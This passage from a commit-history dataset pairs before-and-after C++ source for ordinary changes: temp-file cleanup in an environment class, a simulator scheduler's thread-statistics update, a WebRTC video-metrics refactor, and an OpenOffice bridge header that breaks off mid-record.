m_import_paths.end();\n}\n\nData *Environment::getData(string *key)\n{\n\tif(m_data.find(*key) == m_data.end()){\n\t\tm_error_msg = \"variable \" + *key + \" not found\";\n\t\tthrow this;\n\t}\n\n\treturn m_data[*key];\n}\n\nvoid Environment::removeFiles(void)\n{\n\tfor(auto d : m_data){\n\t\tstring *f = d.second->getFileName();\n\t\tif(f == NULL)\n\t\t\tcontinue;\n\n\t\tif(m_tmpdir + \"\/\" != f->substr(0,m_tmpdir.size() + 1))\n\t\t\tcontinue;\n\n\t\tremove(f->c_str());\n\t\tif(m_v_opt)\n\t\t\tcerr << \"+ pid \" << getpid() << \" file \" << f << \" deleted\" << endl;\n\t}\n\t\n\/*\n\tfor(auto f : m_file_list){\n\t\tif(m_tmpdir + \"\/\" != f.substr(0,m_tmpdir.size() + 1))\n\t\t\tcontinue;\n\n\t\tremove(f.c_str());\n\t\tif(m_v_opt)\n\t\t\tcerr << \"+ pid \" << getpid() << \" file \" << f << \" deleted\" << endl;\n\t}\n*\/\n\n\tstruct stat buf;\n\twhile(stat(m_tmpdir.c_str(), &buf) == 0){\n\t\tif(remove(m_tmpdir.c_str()) != 0){\n\t\t\tcerr << \"cannot remove tmpdir\" << endl;\n\t\t\tsleep(1);\n\t\t}\n\t}\n\tif(Element::m_signal != 0)\n\t\tkill(0,SIGHUP);\n}\n\nstring *Environment::getArg(long pos)\n{\n\tif(pos < 0 || pos >= (long)m_args.size()){\n\t\tm_error_msg = \"Array index out of range (pos: \"+\n\t\tto_string(pos) + \")\";\n\t\tthrow this;\n\t}\n\treturn &m_args[pos];\n}\n\nvoid Environment::setData(string *key, Data *value)\n{\n\tif(m_data.find(*key) != m_data.end()){\n\t\tm_error_msg = *key + \" already exist\";\n\t\tthrow this;\n\t}\n\tm_data[*key] = value;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Removed Debug Statements<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Some experiments<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>temorary comment to fix build<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Added evaluate(x) methods for Chebyshev Polynomials<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>changed log category for nrghash<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>on startup on osx\/linux check if straggling sysgeth process already running, kill it<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"scheduler_dynamic.h\"\n#include \"simulator.h\"\n#include \"core_manager.h\"\n#include \"hooks_manager.h\"\n#include \"performance_model.h\"\n#include \"thread.h\"\n#include \"stats.h\"\n#include <cstring>\n\nSchedulerDynamic::SchedulerDynamic(ThreadManager *thread_manager)\n   : Scheduler(thread_manager)\n   , m_threads_runnable(16)\n   , m_in_periodic(false)\n{\n   Sim()->getHooksManager()->registerHook(HookType::HOOK_PERIODIC, hook_periodic, (UInt64)this);\n   Sim()->getHooksManager()->registerHook(HookType::HOOK_PRE_STAT_WRITE, hook_pre_stat_write, (UInt64)this);\n   Sim()->getHooksManager()->registerHook(HookType::HOOK_THREAD_START, hook_thread_start, (UInt64)this);\n   Sim()->getHooksManager()->registerHook(HookType::HOOK_THREAD_STALL, hook_thread_stall, (UInt64)this);\n   Sim()->getHooksManager()->registerHook(HookType::HOOK_THREAD_RESUME, hook_thread_resume, (UInt64)this);\n   Sim()->getHooksManager()->registerHook(HookType::HOOK_THREAD_EXIT, hook_thread_exit, (UInt64)this);\n}\n\nSchedulerDynamic::~SchedulerDynamic()\n{\n   for(std::unordered_map<thread_id_t, ThreadStats*>::iterator it = m_threads_stats.begin(); it != m_threads_stats.end(); ++it)\n      delete it->second;\n}\n\nvoid SchedulerDynamic::__periodic(SubsecondTime time)\n{\n   m_in_periodic = true;\n   periodic(time);\n   m_in_periodic = false;\n}\n\nvoid SchedulerDynamic::__pre_stat_write()\n{\n   updateThreadStats();\n}\n\nvoid SchedulerDynamic::__threadStart(thread_id_t thread_id, SubsecondTime time)\n{\n   if (m_threads_runnable.size() <= (size_t)thread_id)\n      m_threads_runnable.resize(m_threads_runnable.size() + 16);\n\n   m_threads_runnable[thread_id] = true;\n   m_threads_stats[thread_id] = new ThreadStats(thread_id, time);\n   m_threads_stats[thread_id]->update(time); \/\/ initialize statistic counters\n   threadStart(thread_id, time);\n}\n\nvoid SchedulerDynamic::__threadStall(thread_id_t thread_id, ThreadManager::stall_type_t reason, SubsecondTime time)\n{\n   m_threads_stats[thread_id]->update(time);\n   if (reason != ThreadManager::STALL_UNSCHEDULED)\n   {\n      m_threads_runnable[thread_id] = false;\n      threadStall(thread_id, reason, time);\n   }\n}\n\nvoid SchedulerDynamic::__threadResume(thread_id_t thread_id, thread_id_t thread_by, SubsecondTime time)\n{\n   m_threads_stats[thread_id]->update(time);\n   m_threads_runnable[thread_id] = true;\n   threadResume(thread_id, thread_by, time);\n}\n\nvoid SchedulerDynamic::__threadExit(thread_id_t thread_id, SubsecondTime time)\n{\n   m_threads_stats[thread_id]->update(time);\n   m_threads_runnable[thread_id] = false;\n   threadExit(thread_id, time);\n}\n\nvoid SchedulerDynamic::moveThread(thread_id_t thread_id, core_id_t core_id, SubsecondTime time)\n{\n   #if 0\n   \/\/ TODO: sched_yield and sched_setaffinity also check for rescheduling. There doesn't seem to be\n   \/\/       a uniform way of knowing when this is allowed, so drop the check for now\n   \/\/ Threads will re-check their core_id on return from barrier, or on wakeup.\n   \/\/ Outside of this, preemption is not possible.\n   LOG_ASSERT_ERROR(m_in_periodic\n                    || m_threads_runnable[thread_id] == false\n                    || Sim()->getThreadManager()->getThreadFromID(thread_id)->getCore() == NULL,\n                    \"Cannot pre-emptively move or unschedule thread outside of periodic()\");\n   #endif\n   \/\/ onThreadStart will initialize the core that was returned by createThread()\n   \/\/ Don't move threads that are initializing, or onThreadStart will use the wrong core\n   LOG_ASSERT_ERROR(Sim()->getThreadManager()->getThreadState(thread_id) != Core::INITIALIZING,\n                    \"Cannot move thread %d which is in state INITIALIZING\", thread_id);\n\n   m_thread_manager->moveThread(thread_id, core_id, time);\n   m_threads_stats[thread_id]->update(time);\n}\n\nvoid SchedulerDynamic::updateThreadStats()\n{\n   for(std::unordered_map<thread_id_t, ThreadStats*>::iterator it = m_threads_stats.begin(); it != m_threads_stats.end(); ++it)\n      it->second->update(Sim()->getClockSkewMinimizationServer()->getGlobalTime());\n}\n\nSchedulerDynamic::ThreadStats::ThreadStats(thread_id_t thread_id, SubsecondTime time)\n   : m_thread(Sim()->getThreadManager()->getThreadFromID(thread_id))\n   , m_core_id(INVALID_CORE_ID)\n   , m_time_last(time)\n{\n   memset(&m_counts, 0, sizeof(ThreadStatsStruct));\n   memset(&m_last, 0, sizeof(ThreadStatsStruct));\n\n   registerStatsMetric(\"thread\", thread_id, \"elapsed_time\", &m_elapsed_time);\n   registerStatsMetric(\"thread\", thread_id, \"unscheduled_time\", &m_unscheduled_time);\n   registerStatsMetric(\"thread\", thread_id, \"instruction_count\", &m_counts.instructions);\n   registerStatsMetric(\"thread\", thread_id, \"core_elapsed_time\", &m_counts.elapsed_time);\n   registerStatsMetric(\"thread\", thread_id, \"nonidle_elapsed_time\", &m_counts.nonidle_elapsed_time);\n}\n\nvoid SchedulerDynamic::ThreadStats::update(SubsecondTime time)\n{\n   \/\/ Increment per-thread statistics based on the progress our core has made since last time\n   SubsecondTime time_delta = time - m_time_last;\n   if (m_core_id == INVALID_CORE_ID)\n   {\n      m_elapsed_time += time_delta;\n      m_unscheduled_time += time_delta;\n   }\n   else\n   {\n      Core *core = Sim()->getCoreManager()->getCoreFromID(m_core_id);\n      m_elapsed_time += time_delta;\n      m_counts.instructions += core->getPerformanceModel()->getInstructionCount() - m_last.instructions;\n      m_counts.elapsed_time += core->getPerformanceModel()->getElapsedTime() - m_last.elapsed_time;\n      m_counts.nonidle_elapsed_time += core->getPerformanceModel()->getNonIdleElapsedTime() - m_last.nonidle_elapsed_time;\n   }\n   \/\/ Take a snapshot of our current core's statistics for later comparison\n   Core *core = m_thread->getCore();\n   if (core)\n   {\n      m_core_id = core->getId();\n      m_last.instructions = core->getPerformanceModel()->getInstructionCount();\n      m_last.elapsed_time = core->getPerformanceModel()->getElapsedTime();\n      m_last.nonidle_elapsed_time = core->getPerformanceModel()->getNonIdleElapsedTime();\n   }\n   else\n      m_core_id = INVALID_CORE_ID;\n\n   m_time_last = time;\n}\n<commit_msg>[PATCH 38\/85] [scheduler_dynamic] Update thread statistics on every hook_periodic<commit_after>#include \"scheduler_dynamic.h\"\n#include \"simulator.h\"\n#include \"core_manager.h\"\n#include \"hooks_manager.h\"\n#include \"performance_model.h\"\n#include \"thread.h\"\n#include \"stats.h\"\n#include <cstring>\n\nSchedulerDynamic::SchedulerDynamic(ThreadManager *thread_manager)\n   : Scheduler(thread_manager)\n   , m_threads_runnable(16)\n   , m_in_periodic(false)\n{\n   Sim()->getHooksManager()->registerHook(HookType::HOOK_PERIODIC, hook_periodic, (UInt64)this);\n   Sim()->getHooksManager()->registerHook(HookType::HOOK_PRE_STAT_WRITE, hook_pre_stat_write, (UInt64)this);\n   Sim()->getHooksManager()->registerHook(HookType::HOOK_THREAD_START, hook_thread_start, (UInt64)this);\n   Sim()->getHooksManager()->registerHook(HookType::HOOK_THREAD_STALL, hook_thread_stall, (UInt64)this);\n   Sim()->getHooksManager()->registerHook(HookType::HOOK_THREAD_RESUME, hook_thread_resume, (UInt64)this);\n   Sim()->getHooksManager()->registerHook(HookType::HOOK_THREAD_EXIT, hook_thread_exit, (UInt64)this);\n}\n\nSchedulerDynamic::~SchedulerDynamic()\n{\n   for(std::unordered_map<thread_id_t, ThreadStats*>::iterator it = m_threads_stats.begin(); it != m_threads_stats.end(); ++it)\n      delete it->second;\n}\n\nvoid SchedulerDynamic::__periodic(SubsecondTime time)\n{\n   updateThreadStats();\n\n   m_in_periodic = true;\n   periodic(time);\n   m_in_periodic = false;\n}\n\nvoid SchedulerDynamic::__pre_stat_write()\n{\n   updateThreadStats();\n}\n\nvoid SchedulerDynamic::__threadStart(thread_id_t thread_id, SubsecondTime time)\n{\n   if (m_threads_runnable.size() <= (size_t)thread_id)\n      m_threads_runnable.resize(m_threads_runnable.size() + 16);\n\n   m_threads_runnable[thread_id] = true;\n   m_threads_stats[thread_id] = new ThreadStats(thread_id, time);\n   m_threads_stats[thread_id]->update(time); \/\/ initialize statistic counters\n   threadStart(thread_id, time);\n}\n\nvoid SchedulerDynamic::__threadStall(thread_id_t thread_id, ThreadManager::stall_type_t reason, SubsecondTime time)\n{\n   m_threads_stats[thread_id]->update(time);\n   if (reason != ThreadManager::STALL_UNSCHEDULED)\n   {\n      m_threads_runnable[thread_id] = false;\n      threadStall(thread_id, reason, time);\n   }\n}\n\nvoid SchedulerDynamic::__threadResume(thread_id_t thread_id, thread_id_t thread_by, SubsecondTime time)\n{\n   m_threads_stats[thread_id]->update(time);\n   m_threads_runnable[thread_id] = true;\n   threadResume(thread_id, thread_by, time);\n}\n\nvoid SchedulerDynamic::__threadExit(thread_id_t thread_id, SubsecondTime time)\n{\n   m_threads_stats[thread_id]->update(time);\n   m_threads_runnable[thread_id] = false;\n   threadExit(thread_id, time);\n}\n\nvoid SchedulerDynamic::moveThread(thread_id_t thread_id, core_id_t core_id, SubsecondTime time)\n{\n   #if 0\n   \/\/ TODO: sched_yield and sched_setaffinity also check for rescheduling. There doesn't seem to be\n   \/\/       a uniform way of knowing when this is allowed, so drop the check for now\n   \/\/ Threads will re-check their core_id on return from barrier, or on wakeup.\n   \/\/ Outside of this, preemption is not possible.\n   LOG_ASSERT_ERROR(m_in_periodic\n                    || m_threads_runnable[thread_id] == false\n                    || Sim()->getThreadManager()->getThreadFromID(thread_id)->getCore() == NULL,\n                    \"Cannot pre-emptively move or unschedule thread outside of periodic()\");\n   #endif\n   \/\/ onThreadStart will initialize the core that was returned by createThread()\n   \/\/ Don't move threads that are initializing, or onThreadStart will use the wrong core\n   LOG_ASSERT_ERROR(Sim()->getThreadManager()->getThreadState(thread_id) != Core::INITIALIZING,\n                    \"Cannot move thread %d which is in state INITIALIZING\", thread_id);\n\n   m_thread_manager->moveThread(thread_id, core_id, time);\n   m_threads_stats[thread_id]->update(time);\n}\n\nvoid SchedulerDynamic::updateThreadStats()\n{\n   SubsecondTime now = Sim()->getClockSkewMinimizationServer()->getGlobalTime();\n\n   for(std::unordered_map<thread_id_t, ThreadStats*>::iterator it = m_threads_stats.begin(); it != m_threads_stats.end(); ++it)\n      it->second->update(now);\n}\n\nSchedulerDynamic::ThreadStats::ThreadStats(thread_id_t thread_id, SubsecondTime time)\n   : m_thread(Sim()->getThreadManager()->getThreadFromID(thread_id))\n   , m_core_id(INVALID_CORE_ID)\n   , m_time_last(time)\n{\n   memset(&m_counts, 0, sizeof(ThreadStatsStruct));\n   memset(&m_last, 0, sizeof(ThreadStatsStruct));\n\n   registerStatsMetric(\"thread\", thread_id, \"elapsed_time\", &m_elapsed_time);\n   registerStatsMetric(\"thread\", thread_id, \"unscheduled_time\", &m_unscheduled_time);\n   registerStatsMetric(\"thread\", thread_id, \"instruction_count\", &m_counts.instructions);\n   registerStatsMetric(\"thread\", thread_id, \"core_elapsed_time\", &m_counts.elapsed_time);\n   registerStatsMetric(\"thread\", thread_id, \"nonidle_elapsed_time\", &m_counts.nonidle_elapsed_time);\n}\n\nvoid SchedulerDynamic::ThreadStats::update(SubsecondTime time)\n{\n   \/\/ Increment per-thread statistics based on the progress our core has made since last time\n   SubsecondTime time_delta = time - m_time_last;\n   if (m_core_id == INVALID_CORE_ID)\n   {\n      m_elapsed_time += time_delta;\n      m_unscheduled_time += time_delta;\n   }\n   else\n   {\n      Core *core = Sim()->getCoreManager()->getCoreFromID(m_core_id);\n      m_elapsed_time += time_delta;\n      m_counts.instructions += core->getPerformanceModel()->getInstructionCount() - m_last.instructions;\n      m_counts.elapsed_time += core->getPerformanceModel()->getElapsedTime() - m_last.elapsed_time;\n      m_counts.nonidle_elapsed_time += core->getPerformanceModel()->getNonIdleElapsedTime() - m_last.nonidle_elapsed_time;\n   }\n   \/\/ Take a snapshot of our current core's statistics for later comparison\n   Core *core = m_thread->getCore();\n   if (core)\n   {\n      m_core_id = core->getId();\n      m_last.instructions = core->getPerformanceModel()->getInstructionCount();\n      m_last.elapsed_time = core->getPerformanceModel()->getElapsedTime();\n      m_last.nonidle_elapsed_time = core->getPerformanceModel()->getNonIdleElapsedTime();\n   }\n   else\n      m_core_id = INVALID_CORE_ID;\n\n   m_time_last = time;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Extending mean_test to test < and > operators.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"testsupport\/metrics\/video_metrics.h\"\n\n#include <algorithm> \/\/ min_element, max_element\n#include <cassert>\n#include <cstdio>\n\n#include \"common_video\/libyuv\/include\/webrtc_libyuv.h\"\n\nnamespace webrtc {\nnamespace test {\n\n\/\/ Used for calculating min and max values\nstatic bool LessForFrameResultValue (const FrameResult& s1,\n                                     const FrameResult& s2) {\n    return s1.value < s2.value;\n}\n\nenum VideoMetricsType { kPSNR, kSSIM, kBoth };\n\n\/\/ Calculates metrics for a frame and adds statistics to the result for it.\nvoid CalculateFrame(VideoMetricsType video_metrics_type,\n                    uint8_t* ref,\n                    uint8_t* test,\n                    int width,\n                    int height,\n                    int frame_number,\n                    QualityMetricsResult* result) {\n  FrameResult frame_result = {0, 0};\n  frame_result.frame_number = frame_number;\n  switch (video_metrics_type) {\n    case kPSNR:\n      frame_result.value = I420PSNR(ref, test, width, height);\n      break;\n    case kSSIM:\n      frame_result.value = I420SSIM(ref, test, width, height);\n      break;\n    default:\n      assert(false);\n  }\n  result->frames.push_back(frame_result);\n}\n\n\/\/ Calculates average, min and max values for the supplied struct, if non-NULL.\nvoid CalculateStats(QualityMetricsResult* result) {\n  if (result == NULL || result->frames.size() == 0) {\n    return;\n  }\n  \/\/ Calculate average\n  std::vector<FrameResult>::iterator iter;\n  double metrics_values_sum = 0.0;\n  for (iter = result->frames.begin(); iter != result->frames.end(); ++iter) {\n    metrics_values_sum += iter->value;\n  }\n  result->average = metrics_values_sum \/ result->frames.size();\n\n  \/\/ Calculate min\/max statistics\n  iter = std::min_element(result->frames.begin(), result->frames.end(),\n                     LessForFrameResultValue);\n  result->min = iter->value;\n  result->min_frame_number = iter->frame_number;\n  iter = std::max_element(result->frames.begin(), result->frames.end(),\n                     LessForFrameResultValue);\n  result->max = iter->value;\n  result->max_frame_number = iter->frame_number;\n}\n\n\/\/ Single method that handles all combinations of video metrics calculation, to\n\/\/ minimize code duplication. Either psnr_result or ssim_result may be NULL,\n\/\/ depending on which VideoMetricsType is targeted.\nint CalculateMetrics(VideoMetricsType video_metrics_type,\n                     const char* ref_filename,\n                     const char* test_filename,\n                     int width,\n                     int height,\n                     QualityMetricsResult* psnr_result,\n                     QualityMetricsResult* ssim_result) {\n  assert(ref_filename != NULL);\n  assert(test_filename != NULL);\n  assert(width > 0);\n  assert(height > 0);\n\n  FILE* ref_fp = fopen(ref_filename, \"rb\");\n  if (ref_fp == NULL) {\n    \/\/ cannot open reference file\n    fprintf(stderr, \"Cannot open file %s\\n\", ref_filename);\n    return -1;\n  }\n  FILE* test_fp = fopen(test_filename, \"rb\");\n  if (test_fp == NULL) {\n    \/\/ cannot open test file\n    fprintf(stderr, \"Cannot open file %s\\n\", test_filename);\n    fclose(ref_fp);\n    return -2;\n  }\n  int frame_number = 0;\n\n  \/\/ Allocating size for one I420 frame.\n  const int frame_length = 3 * width * height >> 1;\n  uint8_t* ref = new uint8_t[frame_length];\n  uint8_t* test = new uint8_t[frame_length];\n\n  int ref_bytes = fread(ref, 1, frame_length, ref_fp);\n  int test_bytes = fread(test, 1, frame_length, test_fp);\n  while (ref_bytes == frame_length && test_bytes == frame_length) {\n    switch (video_metrics_type) {\n      case kPSNR:\n        CalculateFrame(kPSNR, ref, test, width, height, frame_number,\n                       psnr_result);\n        break;\n      case kSSIM:\n        CalculateFrame(kSSIM, ref, test, width, height, frame_number,\n                       ssim_result);\n        break;\n      case kBoth:\n        CalculateFrame(kPSNR, ref, test, width, height, frame_number,\n                       psnr_result);\n        CalculateFrame(kSSIM, ref, test, width, height, frame_number,\n                       ssim_result);\n        break;\n    }\n    frame_number++;\n    ref_bytes = fread(ref, 1, frame_length, ref_fp);\n    test_bytes = fread(test, 1, frame_length, test_fp);\n  }\n  int return_code = 0;\n  if (frame_number == 0) {\n    fprintf(stderr, \"Tried to measure video metrics from empty files \"\n            \"(reference file: %s  test file: %s)\\n\", ref_filename,\n            test_filename);\n    return_code = -3;\n  } else {\n    CalculateStats(psnr_result);\n    CalculateStats(ssim_result);\n  }\n  delete [] ref;\n  delete [] test;\n  fclose(ref_fp);\n  fclose(test_fp);\n  return return_code;\n}\n\nint I420MetricsFromFiles(const char* ref_filename,\n                         const char* test_filename,\n                         int width,\n                         int height,\n                         QualityMetricsResult* psnr_result,\n                         QualityMetricsResult* ssim_result) {\n  assert(psnr_result != NULL);\n  assert(ssim_result != NULL);\n  return CalculateMetrics(kBoth, ref_filename, test_filename, width, height,\n                          psnr_result, ssim_result);\n}\n\nint I420PSNRFromFiles(const char* ref_filename,\n                      const char* test_filename,\n                      int width,\n                      int height,\n                      QualityMetricsResult* result) {\n  assert(result != NULL);\n  return CalculateMetrics(kPSNR, ref_filename, test_filename, width, height,\n                          result, NULL);\n}\n\nint I420SSIMFromFiles(const char* ref_filename,\n                      const char* test_filename,\n                      int width,\n                      int height,\n                      QualityMetricsResult* result) {\n  assert(result != NULL);\n  return CalculateMetrics(kSSIM, ref_filename, test_filename, width, height,\n                          NULL, result);\n}\n\n}  \/\/ namespace test\n}  \/\/ namespace webrtc\n<commit_msg>Removing use of raw buffers for I420PSNR and I420SSIM functions<commit_after>\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"testsupport\/metrics\/video_metrics.h\"\n\n#include <algorithm> \/\/ min_element, max_element\n#include <cassert>\n#include <cstdio>\n\n#include \"common_video\/interface\/i420_video_frame.h\"\n#include \"common_video\/libyuv\/include\/webrtc_libyuv.h\"\n\nnamespace webrtc {\nnamespace test {\n\n\/\/ Used for calculating min and max values.\nstatic bool LessForFrameResultValue (const FrameResult& s1,\n                                     const FrameResult& s2) {\n    return s1.value < s2.value;\n}\n\nenum VideoMetricsType { kPSNR, kSSIM, kBoth };\n\n\/\/ Calculates metrics for a frame and adds statistics to the result for it.\nvoid CalculateFrame(VideoMetricsType video_metrics_type,\n                    const I420VideoFrame* ref,\n                    const I420VideoFrame* test,\n                    int frame_number,\n                    QualityMetricsResult* result) {\n  FrameResult frame_result = {0, 0};\n  frame_result.frame_number = frame_number;\n  switch (video_metrics_type) {\n    case kPSNR:\n      frame_result.value = I420PSNR(ref, test);\n      break;\n    case kSSIM:\n      frame_result.value = I420SSIM(ref, test);\n      break;\n    default:\n      assert(false);\n  }\n  result->frames.push_back(frame_result);\n}\n\n\/\/ Calculates average, min and max values for the supplied struct, if non-NULL.\nvoid CalculateStats(QualityMetricsResult* result) {\n  if (result == NULL || result->frames.size() == 0) {\n    return;\n  }\n  \/\/ Calculate average.\n  std::vector<FrameResult>::iterator iter;\n  double metrics_values_sum = 0.0;\n  for (iter = result->frames.begin(); iter != result->frames.end(); ++iter) {\n    metrics_values_sum += iter->value;\n  }\n  result->average = metrics_values_sum \/ result->frames.size();\n\n  \/\/ Calculate min\/max statistics.\n  iter = std::min_element(result->frames.begin(), result->frames.end(),\n                     LessForFrameResultValue);\n  result->min = iter->value;\n  result->min_frame_number = iter->frame_number;\n  iter = std::max_element(result->frames.begin(), result->frames.end(),\n                     LessForFrameResultValue);\n  result->max = iter->value;\n  result->max_frame_number = iter->frame_number;\n}\n\n\/\/ Single method that handles all combinations of video metrics calculation, to\n\/\/ minimize code duplication. Either psnr_result or ssim_result may be NULL,\n\/\/ depending on which VideoMetricsType is targeted.\nint CalculateMetrics(VideoMetricsType video_metrics_type,\n                     const char* ref_filename,\n                     const char* test_filename,\n                     int width,\n                     int height,\n                     QualityMetricsResult* psnr_result,\n                     QualityMetricsResult* ssim_result) {\n  assert(ref_filename != NULL);\n  assert(test_filename != NULL);\n  assert(width > 0);\n  assert(height > 0);\n\n  FILE* ref_fp = fopen(ref_filename, \"rb\");\n  if (ref_fp == NULL) {\n    \/\/ Cannot open reference file.\n    fprintf(stderr, \"Cannot open file %s\\n\", ref_filename);\n    return -1;\n  }\n  FILE* test_fp = fopen(test_filename, \"rb\");\n  if (test_fp == NULL) {\n    \/\/ Cannot open test file.\n    fprintf(stderr, \"Cannot open file %s\\n\", test_filename);\n    fclose(ref_fp);\n    return -2;\n  }\n  int frame_number = 0;\n\n  \/\/ Read reference and test frames.\n  const int frame_length = 3 * width * height >> 1;\n  I420VideoFrame ref_frame;\n  I420VideoFrame test_frame;\n  scoped_array<uint8_t> ref_buffer(new uint8_t[frame_length]);\n  scoped_array<uint8_t> test_buffer(new uint8_t[frame_length]);\n\n  int size_y = width * height;\n  int size_uv = ((width + 1 ) \/ 2) * ((height + 1) \/ 2);\n\n  int ref_bytes = fread(ref_buffer.get(), 1, frame_length, ref_fp);\n  int test_bytes = fread(test_buffer.get(), 1, frame_length, test_fp);\n  while (ref_bytes == frame_length && test_bytes == frame_length) {\n    ref_frame.CreateFrame(size_y, ref_buffer.get(),\n                          size_uv, ref_buffer.get() + size_y,\n                          size_uv, ref_buffer.get() + size_y + size_uv,\n                          width, height,\n                          width, (width + 1) \/ 2, (width + 1) \/ 2);\n    test_frame.CreateFrame(size_y, test_buffer.get(),\n                           size_uv, test_buffer.get() + size_y,\n                           size_uv, test_buffer.get() + size_y + size_uv,\n                           width, height,\n                           width, (width + 1) \/ 2, (width + 1) \/ 2);\n    switch (video_metrics_type) {\n      case kPSNR:\n        CalculateFrame(kPSNR, &ref_frame, &test_frame, frame_number,\n                       psnr_result);\n        break;\n      case kSSIM:\n        CalculateFrame(kSSIM, &ref_frame, &test_frame, frame_number,\n                       ssim_result);\n        break;\n      case kBoth:\n        CalculateFrame(kPSNR, &ref_frame, &test_frame, frame_number,\n                       psnr_result);\n        CalculateFrame(kSSIM, &ref_frame, &test_frame, frame_number,\n                       ssim_result);\n        break;\n    }\n    frame_number++;\n    ref_bytes = fread(ref_buffer.get(), 1, frame_length, ref_fp);\n    test_bytes = fread(test_buffer.get(), 1, frame_length, test_fp);\n  }\n  int return_code = 0;\n  if (frame_number == 0) {\n    fprintf(stderr, \"Tried to measure video metrics from empty files \"\n            \"(reference file: %s  test file: %s)\\n\", ref_filename,\n            test_filename);\n    return_code = -3;\n  } else {\n    CalculateStats(psnr_result);\n    CalculateStats(ssim_result);\n  }\n  fclose(ref_fp);\n  fclose(test_fp);\n  return return_code;\n}\n\nint I420MetricsFromFiles(const char* ref_filename,\n                         const char* test_filename,\n                         int width,\n                         int height,\n                         QualityMetricsResult* psnr_result,\n                         QualityMetricsResult* ssim_result) {\n  assert(psnr_result != NULL);\n  assert(ssim_result != NULL);\n  return CalculateMetrics(kBoth, ref_filename, test_filename, width, height,\n                          psnr_result, ssim_result);\n}\n\nint I420PSNRFromFiles(const char* ref_filename,\n                      const char* test_filename,\n                      int width,\n                      int height,\n                      QualityMetricsResult* result) {\n  assert(result != NULL);\n  return CalculateMetrics(kPSNR, ref_filename, test_filename, width, height,\n                          result, NULL);\n}\n\nint I420SSIMFromFiles(const char* ref_filename,\n                      const char* test_filename,\n                      int width,\n                      int height,\n                      QualityMetricsResult* result) {\n  assert(result != NULL);\n  return CalculateMetrics(kSSIM, ref_filename, test_filename, width, height,\n                          NULL, result);\n}\n\n}  \/\/ namespace test\n}  \/\/ namespace webrtc\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: urp_dispatch.hxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: hr $ $Date: 2006-06-19 23:52:40 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#include <rtl\/ustring.hxx>\n\n#include <typelib\/typedescription.h>\n\n#include <uno\/any2.h>\n\n\ntypedef struct _uno_Environment uno_Environment;\nstruct remote_Interface;\n\n\n\nnamespace bridges_urp {\n\n    const sal_uInt8 HDRFLAG_LONGHEADER       = 0x80;\n    const sal_uInt8 HDRFLAG_REQUEST          = 0x40;\n    const sal_uInt8 HDRFLAG_NEWTYPE          = 0x20;\n    const sal_uInt8 HDRFLAG_NEWOID           = 0x10;\n    const sal_uInt8 HDRFLAG_NEWTID           = 0x08;\n    const sal_uInt8 HDRFLAG_LONGMETHODID     = 0x04;\n    const sal_uInt8 HDRFLAG_IGNORECACHE      = 0x02;\n    const sal_uInt8 HDRFLAG_MOREFLAGS        = 0x01;\n    const sal_uInt8 HDRFLAG_MUSTREPLY        = 0x80;\n    const sal_uInt8 HDRFLAG_SYNCHRONOUS      = 0x40;\n\n    const sal_uInt8 HDRFLAG_EXCEPTION        = 0x20;\n\n    void SAL_CALL urp_sendCloseConnection( uno_Environment *pEnvRemote );\n\n    extern \"C\" void SAL_CALL urp_sendRequest(\n        uno_Environment *pEnvRemote,\n        typelib_TypeDescription const * pMemberType,\n        rtl_uString *pOid,\n        typelib_InterfaceTypeDescription *pInterfaceType,\n        void *pReturn,\n        void *ppArgs[],\n        uno_Any **ppException\n        );\n\n}\n\n<commit_msg>INTEGRATION: CWS sb23 (1.2.214); FILE MERGED 2006\/08\/21 07:36:42 sb 1.2.214.3: #88601# Made code warning-free. 2006\/08\/18 16:01:13 sb 1.2.214.2: RESYNC: (1.2-1.4); FILE MERGED 2005\/03\/23 14:44:29 sb 1.2.214.1: #88601# Ensure that negotiating current context support is finished before any requests are sent.<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: urp_dispatch.hxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: rt $ $Date: 2006-12-01 14:47:35 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 